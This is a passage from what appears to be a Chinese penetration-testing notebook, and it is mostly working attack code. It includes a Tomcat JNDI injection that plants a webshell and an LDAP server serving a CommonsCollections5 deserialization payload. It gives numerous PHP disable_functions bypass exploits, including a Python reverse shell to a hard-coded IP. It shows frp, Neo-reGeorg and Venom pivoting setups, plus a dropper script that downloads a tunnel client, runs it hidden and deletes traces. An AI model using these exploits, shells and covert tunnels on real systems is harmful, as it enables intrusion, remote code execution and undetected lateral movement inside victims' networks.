    <role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc&#x22;); %&#x3e;"/>
    </tomcat-users>

    然后在和webapps同级的目录开启python webserver

    1
    python -m http.server 7777

    image-20240316160158353

  3. 模拟的tomcat web的jndi注入漏洞

    再写入JNDI.jsp内容如下

    1
    2
    3
    4
    5
    6
    7
    <%@page pageEncoding="utf-8"%>
    <%@page import="javax.naming.InitialContext"%>
    <%

    InitialContext initialContext = new InitialContext();
    initialContext.lookup("rmi://127.0.0.1:1100/writeFile");
    %>

    image-20240316160545648

开启tomcat后访问http://127.0.0.1:8080/JNDI.jsp触发JNDI漏洞,写入webapps/ROOT/webshell.jsp

image-20240316171039069

==补充:==可以通过这种写入的方式写入tomcat-users.xml在可以访问host-manager的情况下我们可以登录tomcat后台

linux下攻击步骤:

因为在linux下类似aaa/bbb/../../webapps的访问路径需要建立在aaa/bbb目录存在的情况下才能成功。所以linux下我们无法直接写入文件需要先有http:127.0.0.1:7777目录才可以。为解决这个问题我们先要通过JNDI或者其他手段新建目录,类似org.h2.store.fs.FileUtils就可以新建目录。

下面给出相应的RMI服务端代码如下(需要依次触发三次JNDI注入):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class UserDataRCE_Server {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1100");
Registry registry = LocateRegistry.createRegistry(1100);
System.setProperty("java.rmi.server.hostname", "127.0.0.1");

// ===============================1 创建http:/==================================
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:"));

// ===============================2 创建http:/127.0.0.1:7777.1:8888/============
// ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
// true, "org.apache.naming.factory.BeanFactory", null);
// ref.add(new StringRefAddr("forceString", "a=createDirectory"));
// ref.add(new StringRefAddr("a", "../http:/127.0.0.1:8888"));

// ===============================3 写入webshell文件=============================
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:7777/../../webapps/ROOT/webshell.jsp"));
ref.add(new StringRefAddr("readonly", "false"));

ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("writeFile", referenceWrapper);
}
}

基于服务端返回数据流的反序列化RCE

还有一种通过ldap/rmi指定一个恶意FactoryObject下载服务器,让目标访问并下载一段恶意序列化数据,在目标反序列化时触发Java 原生反序列化漏洞进行RCE的思路

利用条件:
  1. 需要存在本地反序列化链

攻击步骤:
  1. LDAP服务器构建

    pom.xml依赖

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    <dependencies>
    <dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.2.0</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
    <dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
    </dependency>

    </dependencies>

    服务器端java代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    package org.example;

    import com.unboundid.ldap.listener.InMemoryDirectoryServer;
    import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
    import com.unboundid.ldap.listener.InMemoryListenerConfig;
    import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
    import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
    import com.unboundid.ldap.sdk.Entry;
    import com.unboundid.ldap.sdk.LDAPResult;
    import com.unboundid.ldap.sdk.ResultCode;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;

    import javax.management.BadAttributeValueExpException;
    import javax.net.ServerSocketFactory;
    import javax.net.SocketFactory;
    import javax.net.ssl.SSLSocketFactory;
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.lang.reflect.Field;
    import java.net.InetAddress;
    import java.net.URL;
    import java.util.HashMap;
    import java.util.Map;


    public class UnserializeLDAPServer {
    private static final String LDAP_BASE = "dc=example,dc=com";

    public static void main ( String[] tmp_args ) throws Exception{
    String[] args=new String[]{"http://127.0.0.1:8081/#CC5"};
    int port = 4444;

    InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
    config.setListenerConfigs(new InMemoryListenerConfig(
    "listen", //$NON-NLS-1$
    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
    port,
    ServerSocketFactory.getDefault(),
    SocketFactory.getDefault(),
    (SSLSocketFactory) SSLSocketFactory.getDefault()));

    config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
    InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
    System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
    ds.startListening();
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

    private URL codebase;

    public OperationInterceptor ( URL cb ) {
    this.codebase = cb;
    }

    @Override
    public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
    String base = result.getRequest().getBaseDN();
    Entry e = new Entry(base);
    try {
    sendResult(result, base, e);
    }
    catch ( Exception e1 ) {
    e1.printStackTrace();
    }
    }

    protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
    URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
    System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
    e.addAttribute("javaClassName", "foo");
    String cbstring = this.codebase.toString();
    int refPos = cbstring.indexOf('#');
    if ( refPos > 0 ) {
    cbstring = cbstring.substring(0, refPos);
    }

    //CommonsCollections5()可以换成 Base64.decode("cc5链条序列化加base64的内容")java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'calc'|base64
    e.addAttribute("javaSerializedData",CommonsCollections5());

    result.sendSearchEntry(e);
    result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
    }
    }

    private static byte[] CommonsCollections5() throws Exception{
    Transformer[] transformers=new Transformer[]{
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
    new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
    new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
    };

    ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
    Map map=new HashMap();
    Map lazyMap= LazyMap.decorate(map,chainedTransformer);
    TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
    BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
    Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
    field.setAccessible(true);
    field.set(badAttributeValueExpException,tiedMapEntry);

    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

    ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
    objectOutputStream.writeObject(badAttributeValueExpException);
    objectOutputStream.close();

    return byteArrayOutputStream.toByteArray();
    }
    }
  2. 触发JNDI注入

    1
    2
    3
    public static void main(String[] args) throws Exception {
    Object object=new InitialContext().lookup("ldap://127.0.0.1:4444/dc=example,dc=com");
    }

image-20240318094445754

1.黑名单爆破

介绍:利用编写的脚本爆破disable_functions未禁用的函数

  • 在php_function里更新利用函数

  • 在disable_function里放入通过phpinfo得到的禁用函数

2.利用iconv

利用条件:

  • Linux 操作系统

  • putenv设置环境变量可用

  • iconv触发或php伪协议过滤器触发

  • 存在可写的目录, 需要上传 .so 文件

原理介绍:https://blog.csdn.net/qq_42303523/article/details/117911859

利用方法:

  1. 上传gconv-modules文件至可写入目录一般为/tmp(该文件用于指定解析字符集.so文件所在位置)

    1
    2
    3
    4
    5
    //gconv-modules内容

    module PAYLOAD// INTERNAL ../../../../../../../../home/user/payload
    module INTERNAL PAYLOAD// ../../../../../../../../home/user/payload

  2. 上传payload.so至可写入目录一般为/tmp(该文件用于shell执行我们想要操作)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    //payload.so由payload.c解析而成
    //解析指令gcc payload.c -o payload.so -shared -fPIC
    //注意要在相类似的linux环境解析.so文件,避免兼容问题

    #include <stdio.h>
    #include <stdlib.h>

    void gconv() {}

    void gconv_init() {
    puts("pwned");
    system("/readflag > /tmp/ki1ro");
    exit(0);
    }
  3. 上传触发文件或直接触发(触发的语言选择多样)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    //1.编译下面的poc.c代码为.so然后上传执行触发

    #include <stdio.h>
    #include <stdlib.h>

    int main(void) {
    putenv("GCONV_PATH=.");
    FILE *fp = fopen("some_random_file", "w,ccs=payload");
    }



    //2.php代码直接触发iconv_open,eval执行下面这段代码
    putenv("GCONV_PATH=/tmp/");
    show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");或者iconv("hacker", "UTF-8", "whatever");

    //3.上传php文件触发,include包含

3.利用 LD_PRELOAD 环境变量

思路为(其实和上面的iconv利用很像):

  1. 创建一个.so文件,linux的动态链接库文件

  2. 使用putenv函数将LD_PRELOAD路径设置为我们自己创建的动态链接库文件

  3. 利用某个函数去触发该动态链接库

利用方法:

  • 上传利用.so文件到可上传目录

    1
    2
    //直接下载大佬的.so文件即可32为linux下x86,64位下载x64
    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc_x64.so
  • 上传利用.php文件到可上传目录或者直接粘贴php代码通过eval()执行(需要先进行url编码)

    1
    2
    3
    4
    5
    6
    //直接下载即可
    https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.php
    //该php文件需要get三个参数
    //cmd参数为需要执行的命令
    //outpath为命令执行后输出的结果文件位置(一般/tmp/result)
    //sopath为上传的.so文件位置(一般/tmp/bypass_disablefunc_x64.so)
  • 执行.php文件。如果有条件就上传php文件到/var/www/html目录,不行的话就文件包含.php文件

4.利用Windows组件COM绕过

利用条件:

  1. windows下

  2. 开启com组件

利用方法:

  1. 上传php脚本文件,文件包含或者直接访问文件,cmd参数提交命令

5.利用 SplDoublyLinkedList UAC

利用条件:

  1. PHP v7.4.10及其之前版本

  2. PHP v8.0(Alpha)

原理详见:https://www.freebuf.com/articles/web/251017.html

利用方法:

  1. 上传php脚本文件,文件包含或者直接访问文件,cmd参数提交命令

  2. 直接粘贴php代码通过eval()执行(需要先进行url编码)

  3. 注意该利用脚本文件上传后只能执行一次命令,要再次执行需要重新上传

6.利用 GC UAF

利用条件

  • Linux 操作系统

  • PHP7.0 - all versions to date

  • PHP7.1 - all versions to date

  • PHP7.2 - all versions to date

  • PHP7.3 - all versions to date

EXP
关于原理原理:通过PHP垃圾收集器中堆溢出来绕过 disable_functions 并执行系统命令。

利用方法:

  1. 上传利用脚本,文件包含或者直接访问文件,cmd参数提交命令

  2. 或者直接粘贴php代码通过eval()执行(需要先进行url编码)

7.利用 Json Serializer UAF

利用条件

  • Linux 操作系统

  • PHP7.1 - all versions to date

  • PHP7.2 < 7.2.19 (released: 30 May 2019)

  • PHP7.3 < 7.3.6 (released: 30 May 2019)

利用漏洞
POC

利用方法:

  1. 上传利用脚本,文件包含或者直接访问文件,cmd参数提交命令

  2. 或者直接粘贴php代码通过eval()执行(需要先进行url编码)

8.利用Backtrace UAF

利用条件

  • Linux 操作系统

  • PHP7.0 - all versions to date

  • PHP7.1 - all versions to date

  • PHP7.2 - all versions to date

  • PHP7.3 < 7.3.15 (released 20 Feb 2020)

  • PHP7.4 < 7.4.3 (released 20 Feb 2020)

利用漏洞
EXP

利用方法:

  1. 上传利用脚本,文件包含或者直接访问文件,cmd参数提交命令

  2. 或者直接粘贴php代码通过eval()执行(需要先进行url编码)

9.利用Bash Shellshock(CVE-2014-6271)破壳漏洞

利用条件:php < 5.6.2 & bash <= 4.3(破壳)

原理介绍:Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。

利用方法:

  1. 简单测试:命令行输入env x='() { :;}; echo vulnerable' bash -c "echo this is a test"如果输出了vulnerable,则说明存在bash破壳漏洞

  2. 上传exp php文件,文件包含或者访问该文件,cmd传shell指令看是否有反应

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php 
    function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
    $tmp = tempnam(".","data");
    putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
    // In Safe Mode, the user may only alter environment variableswhose names
    // begin with the prefixes supplied by this directive.
    // By default, users will only be able to set environment variablesthat
    // begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive isempty,
    // PHP will let the user modify ANY environment variable!
    //mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
    error_log('a',1);
    $output = @file_get_contents($tmp);
    @unlink($tmp);
    if($output != "") return $output;
    else return "No output, or not vuln.";
    }
    echo shellshock($_REQUEST["cmd"]);
    ?>

10.利用ImageMagick 漏洞绕过(CVE-2016–3714)

利用条件:

  • 目标主机安装了漏洞版本的imagemagick(<= 3.3.0)

  • 安装了php-imagick拓展并在php.ini中启用;

  • 编写php通过new Imagick对象的方式来处理图片等格式文件;

  • PHP >= 5.4

原理简介:存在该漏洞时处理恶意构造带有shell命令的图片时,会执行shell命令

利用方法:

  1. 上传exp php文件,文件包含或者访问该文件,cmd传shell指令看是否有反应

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    <?php
    echo "Disable Functions: " . ini_get('disable_functions') . "\n";

    $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd'];
    if ($command == '') {
    $command = 'id';
    }

    $exploit = <<<EOF
    push graphic-context
    viewbox 0 0 640 480
    fill 'url(https://example.com/image.jpg"|$command")'
    pop graphic-context
    EOF;

    file_put_contents("KKKK.mvg", $exploit);
    $thumb = new Imagick();
    $thumb->readImage('KKKK.mvg');
    $thumb->writeImage('KKKK.png');
    $thumb->clear();
    $thumb->destroy();
    unlink("KKKK.mvg");
    unlink("KKKK.png");
    ?>

11.利用pcntl_exec

使用条件:PHP安装并启用了pcntl插件

介绍:pcntl是linux下的一个扩展,可以支持php的多线程操作。很多时候会碰到禁用exec函数的情况,但如果运维人员安全意识不强或对PHP不甚了解,则很有可能忽略pcntl扩展的相关函数。pcntl_exec()是pcntl插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序。

利用方法:

  1. 上传pass.sh到可上传目录如/tmp

    1
    2
    3
    4
    内容如下

    #!/bin/bash
    ls -l /
  2. 利用pcntl_exec()执行test.sh

    1
    2
    3
    4
    5
    6
    7
    8
    9
    #利用方式上传这一段代码并访问执行,或者文件包含该段代码
    #或者直接eval执行pcntl_exec("/bin/bash", array("/tmp/pass.sh"));
    <?php
    if(function_exists('pcntl_exec')) {
    pcntl_exec("/bin/bash", array("/tmp/pass.sh"));
    } else {
    echo 'pcntl extension is not support!';
    }
    ?>

由于pcntl_exec()执行命令是没有回显的,所以其常与python结合来反弹shell:

1
<?php pcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("132.232.75.90",9898));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));

12.利用PHP7.4 FFI绕过

介绍:FFI(Foreign Function Interface),即外部函数接口,允许从用户区调用C代码。简单地说,就是一项让你在PHP里能够调用C代码的技术

利用条件:

  • php版本7.4及以上

  • FFI开启,并且ffi.enable需要设置为true

利用代码示例:

1
2
3
4
5
6
7
8
9
#可用将这串代码上传到/tmp/然后文件包含或者直接上传到../html/直接访问
#返回结果将会写入/tmp/pass,并在每次读出结果后用unlink()函数删除它。
<?php
$cmd=$_GET['cmd'];
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("$cmd > /tmp/pass"); //由GET传参的任意代码执行
echo file_get_contents("/tmp/pass"); //如果file_get_contents被禁用,就放到web目录访问
@unlink("/tmp/pass");
?>

13.利用攻击PHP-FPM

利用条件:

  • Linux 操作系统

  • PHP-FPM

  • 存在可写的目录, 需要上传 .so 文件

利用方法:以后补充

14.利用 Apache Mod CGI

利用条件:

  • Apache + PHP (apache 使用 apache_mod_php)

  • Apache 开启了 cgi, rewrite

  • Web 目录给了 AllowOverride 权限

原理介绍:

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。当Apache 开启了cgi, rewrite时,我们可以利用.htaccess文件,临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess文件进行配置。

利用方法:遇到后补充

15.利用imap_open()绕过

利用条件:需要安装iamp扩展,命令行输入:apt-get install php-imap

原理介绍:

1
PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

利用方法:

1
2
3
4
5
6
7
8
9
10
11
12
#上传下面的代码到服务器,文件包含或直接访问该文件
<?php
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echot".base64_encode($_GET['cmd'].">/tmp/cmd_result") . "|base64t-d|sh}";
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>

方式1:Neo-reGeorg

测试在虚拟中进行:

  1. 攻击者电脑:windows11 192.168.2.1

  2. 被入侵的服务器:kail192.168.2.139 和 192.168.22.132

  3. 内网其他应用:winows7服务器 192.168.22.133

最低前提条件:获得被入侵服务器的文件上传权限

步骤:

  1. 下载Neo-reGeorg,并根据服务器的不同上传相应后缀的tunnel文件到服务器网站根目录下

    1
    2
    3
    #Neo-reGeorg是reGeory的优化重构版
    #下载链接
    https://github.com/L-codes/Neo-reGeorg
  2. 在攻击者电脑上运行reGeory的python文件与服务器上上传的tunnel文件建立连接。访问本地

    1
    2
    3
    4
    5
    6
    #指令如下
    #生成相应的tunnel文件
    python neoreg.py generate -k password

    #连接tunnel文件
    python neoreg.py -k password -u http://192.168.2.139/tunnel.php

    生成shell

    image-20240113214616603

    建立连接

    image-20240113214728117

    然后我们只需要以socks5协议设置代理为127.0.0.1:1080,即可通过192.168.2.139访问到内网主机192.168.22.133

    image-20240113215048186

设置代理的方式:Proxifier、proxychains、浏览器或者软件自带的代理

方式2:frp

测试在虚拟中进行:

  1. 攻击者电脑:windows11

  2. 攻击者VPS:ubuntu 12.34.56.789

  3. 被入侵的服务器:kail 192.168.2.139 和 192.168.22.132

  4. 内网其他应用:winows7服务器 192.168.22.133(仅主机)

最低前提条件:任意用户的shell

frp服务端架设(基本配置):配置frps.toml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#frp发布版下载链接如下
https://github.com/fatedier/frp/releases/tag/v0.53.2

#根据vps的不同选择下载相应版本的frp并上传到服务器
#解压后编辑frps.toml对服务端进行配置
#内容如下:


[common]
bind_addr = 0.0.0.0
bind_port = 7000

# IP 与 bind_addr 默认相同,可以不设置
# dashboard_addr = 0.0.0.0
# 端口必须设置,只有设置web页面才生效
dashboard_port = 7500
# 用户密码保平安
dashboard_user = LtmThink
dashboard_pwd = 123456789

# 允许客户端绑定的端口
allow_ports = 1080

image-20240114140325177

运行frp服务端:

1
2
3
4
5
chmod +x frps
./frps -c ./frps.toml

#后台运行frps的指令
nohup ./frps -c ./frps.toml &

然后访问7500端口输入先前配置中的账号密码就可以看到frp服务端成功架设

image-20240114140806810

1.socks协议代理

首先最简单常用的就是socks协议代理,这一功能在 frp 中是以插件的形式实现的

步骤:

  1. 客户端配置:准备frpc和frpc.toml,并在frpc.toml中添加如下配置

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    [common]
    # 远程VPS地址
    server_addr = 12.34.56.789
    server_port = 7000
    tls_enable = true
    pool_count = 5


    [plugin_socks]
    type = tcp
    remote_port = 1080
    plugin = socks5
    plugin_user = test
    plugin_passwd = bnbm
    use_encryption = true
    use_compression = true
  2. 将这两个文件合并存放到网站根目录的frpc文件夹下

    image-20240114143950913

  3. 编写一个自动部署frpc的简单脚本ZLS并将其放到网站根目录

    1
    2
    3
    4
    5
    6
    7
    8
    9
    cd /tmp
    wget http://12.34.56.789/frpc/frpc
    wget http://12.34.56.789/frpc/frpc.toml
    chmod +x frpc
    # 启动
    nohup ./frpc -c frpc.toml &
    # 删除痕迹
    rm -rf /tmp/frpc
    rm -rf /tmp/frpc.toml
  4. 将ZLS上传到服务器(任意方式),并运行

    1
    wget http://12.34.56.789/ZLS >/dev/null 2>&1 && chmod +x ZLS && ./ZLS  && rm -rf ZLS
  5. 然后根据frpc的配置,我们将vps的相应端口指定为代理即可访问到被入侵服务器的内网

    1
    这里是2080端口

    成功上线

    image-20240114150955371

​ 按照配置设置代理image-20240114154855544

成功访问内网web服务器并执行指令

image-20240114154926559

注意:

部署步骤归结起来就是将两个frpc文件上传然后想办法使其运行即可

2.多级代理使用方法

环境准备:

1
2
3
4
个人服务器(Ubuntu):12.34.56.789
出网目标机(本地虚拟机kail,只能访问不能被访问,真实环境下可以被访问):192.168.2.1
内网目标机1(centos7):192.168.2.150和192.168.22.132
内网目标机2(windows7,80端口搭载web服务):192.168.22.133
  1. 个人服务器上配置frps.toml并运行frps

    配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    [common]
    bind_addr = 0.0.0.0
    bind_port = 7000

    # IP 与 bind_addr 默认相同,可以不设置
    # dashboard_addr = 0.0.0.0
    # 端口必须设置,只有设置web页面才生效
    dashboard_port = 7500
    # 用户密码保平安
    dashboard_user = LtmThink
    dashboard_pwd = 123456789

    # 允许客户端绑定的端口
    allow_ports = 1080

    执行:

    1
    frps -c frps.toml
  2. 出网目标机上配置frps.toml并运行frps

    配置:

    1
    2
    3
    [common]
    bind_addr = 0.0.0.0
    bind_port = 7000

    执行:

    1
    frps -c frps.toml
  3. 出网目标机上配置frpc.toml并运行frpc

    配置:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    [common]
    tls_enable = true
    server_addr = 12.34.56.789
    server_port = 7000
    [http_proxy]
    type = tcp
    #绑定的远程端口,也就是sock5代理应该连接的端口
    remote_port = 1080
    #plugin = socks5,不能加上这个
    #相较于一级代理,增加如下两个配置
    local_ip = 0.0.0.0
    local_port = 7777

    运行:

    1
    frpc -c frpc.toml
  4. 内网目标机1上配置frpc.toml并运行frpc

    配置:

    1
    2
    3
    4
    5
    6
    7
    [common]
    server_addr = 192.168.2.1
    server_port = 7000
    [http_proxy]
    type = tcp
    remote_port = 7777
    plugin = socks5

    运行:

    1
    frpc -c frpc.toml
  5. 将代理设置为个人服务器的1080端口即可访问内网

3.负载均衡

使用场景:

当我们获得好几台可以连接外网的主机时,就可以启用多台客户端,进行负载均衡。让其均衡分担我们访问内网的流量,

毕竟突然从一台机器迸发出大量流量很容易引起管理员的注意,也可以负载分担一下机器的CPU资源消耗

frpc配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[common]
# 远程VPS地址
server_addr = 103.242.135.137
server_port = 7000
tls_enable = true
pool_count = 5


[plugin_socks]
# [plugin_socks_2]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = test
plugin_passwd = bnbm
use_encryption = true
use_compression = true
group = socks_balancing
group_key = NGbB5#8n

多台不同的被攻击机都这么配置就可以了关注多出来的group和group_key

4.udp协议代理

frp也支持udp协议的代理

以联机星露谷为例(服务端配置不变)

客户端配置文件修改为

1
2
3
4
5
6
7
8
9
10
[common]
# 远程VPS地址
server_addr = 12.34.56.789
server_port = 7000

[starudp]
type = udp
local_ip = 127.0.0.1
local_port = 24642
remote_port = 1080

这样访问服务器的1080端口就可以访问到本地的24642端口了(星露谷联机端口)

方式3:Venom

Venom v1.1.0内网穿透能力强于Neo-reGeorg,使用简单于frp,功能更加丰富,但稳定性差于frp

注意:Venom即支持connect连接(节点主动连接)也支持listen连接(节点被连接)

1.单级代理使用方法

环境准备:

1
2
3
个人服务器(Ubuntu):12.34.56.789
出网目标机(本地虚拟机kail,假设其是一个可以被访问到的公网ip,模拟真实情况):192.168.22.1
内网目标机1(windows7,80端口搭载web服务):192.168.22.133
  1. 个人服务器上传admin_linux_x64并只需以下指令

    1
    2
    3
    4
    5
    6
    7
    8
    9
    ./admin_linux_x64 -lport 6666


    或者
    #假设192.168.22.1是一个可以被访问到的公网ip
    个人服务器
    ./admin_linux_x64 -rhost 192.168.22.1 -rport 6666
    那么目标机就应该
    ./agent_linux_x64 -lport 6666
  2. 出网目标机上传agent_linux_x64并执行以下指令

    1
    ./agent_linux_x64 -rhost 12.34.56.789 -rport 6666
  3. 回到个人服务器,在Venom命令行输入以下指令

    1
    2
    3
    4
    5
    #当完成第二部后个人服务器上的admin服务后提示连接成功
    #展示当前的节点
    show
    #进入出网目标机节点
    goto 1
  4. 配置socks代理

    1
    2
    #在个人服务器的1080端口建立socks5代理,后续只要代理设置为12.34.56.789:1080即可访问内网目标机2
    socks 1080

2.多级代理使用方法

环境准备:

1
2
3
4
个人服务器(Ubuntu):12.34.56.789
出网目标机(本地虚拟机kail,只能访问不能被访问,真实环境下可以被访问):192.168.2.1
内网目标机1(centos7):192.168.2.150和192.168.22.132
内网目标机2(windows7,80端口搭载web服务):192.168.22.133
  1. 个人服务器上传admin_linux_x64并只需以下指令

    1
    ./admin_linux_x64 -lport 6666
  2. 出网目标机上传agent_linux_x64并执行以下指令

    1
    2
    #连接个人服务器的6666端口
    ./agent_linux_x64 -rhost 12.34.56.789 -rport 6666
  3. 内网目标机1上传agent_linux_x64并执行以下指令

    1
    2
    #监听本地8080端口
    ./agent_linux_x64 -lport 8080
  4. 回到个人服务器,在Venom命令行输入以下指令

    1
    2
    3
    4
    5
    6
    7
    #进入出网目标机节点(在此节点可以访问的到不出网的内网目标机1)
    goto 1
    #连接内网目标机1的8080端口
    connect 192.168.2.150 8080
    #此时会显示连接成功
    #进入内网目标机1节点(在这个节点可以访问到内网目标机2了)
    goto 2
  5. 配置socks代理

    1
    2
    #输入以下指令,会在个人服务器的1080开启代理服务,后续只要代理设置为12.34.56.789:1080即可访问内网目标机2
    socks 1080

    image-20240206230831092

3.端口复用支持

应用场合:某些情况下端口开放被禁用,我们可以使用已知的开放端口连接

介绍:通过venom提供的端口复用功能,在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。

环境准备:

1
2
admin节点(本地虚拟机kail,可以访问192.168.22.133也可以被访问):192.168.2.1
agent节点(windows7,80端口搭载web服务):192.168.22.133

agent节点执行

1
2
#注意这里lhost的ip地址写本机地址,但不要写0.0.0.0
agent.exe -lhost 192.168.22.133 -reuse-port 80

admin节点执行

1
2
#admin连接192.168.22.133开放的80端口,而不会影响运行在其上的web服务
./admin_linux_x64 -rhost 192.168.22.133 -rport 80

4.端口转发

在建立与内网之间的连接后我们还可以通过Venom将内网的端口转发到个人服务器的端口上,实现访问外部的个人服务器的某一端口即可访问到内网的某一端口

1
2
3
#在个人服务器12.34.56.789的Venom命令行输入以下指令即可将内网192.168.22.133的80端口映射到#12.34.56.789:8070,后续只要访问12.34.56.789:8070即可访问到192.168.22.133:80

rforward 192.168.22.133 80 8070

也支持将个人服务器的端口映射到内网的端口

1
2
3
